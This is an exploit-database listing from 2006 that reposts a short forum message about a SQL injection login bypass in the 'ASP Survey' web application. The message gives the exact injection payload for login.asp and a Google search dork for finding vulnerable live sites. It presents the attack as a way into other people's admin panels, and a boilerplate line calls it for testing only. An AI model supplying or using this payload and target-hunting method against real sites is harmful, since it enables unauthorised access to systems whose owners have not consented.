sql injection in ASP Survey

CVE	Category	Price	Severity
N/A	CWE-89	$500	High

Author	Risk	Exploitation Type	Date
Exploit Alert Team	High	Remote	2006-02-15

Our sensors found this exploit at: http://cxsecurity.com/ascii/WLB-2006020024

Below is a copy:

Hi guys
there is a simple sql injection in web app. (ASP Survey) by this vuln. you can go into the admin page

Target Page : login.asp
Vendor : ASP Survey
Exploit : User: admin Password: 'or'

Hacking: 1. search on google.com as :
allinurl:"login.asp" ASPsurvey
and then type the Exploit in correct order...
and Enjoy the admin CP.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum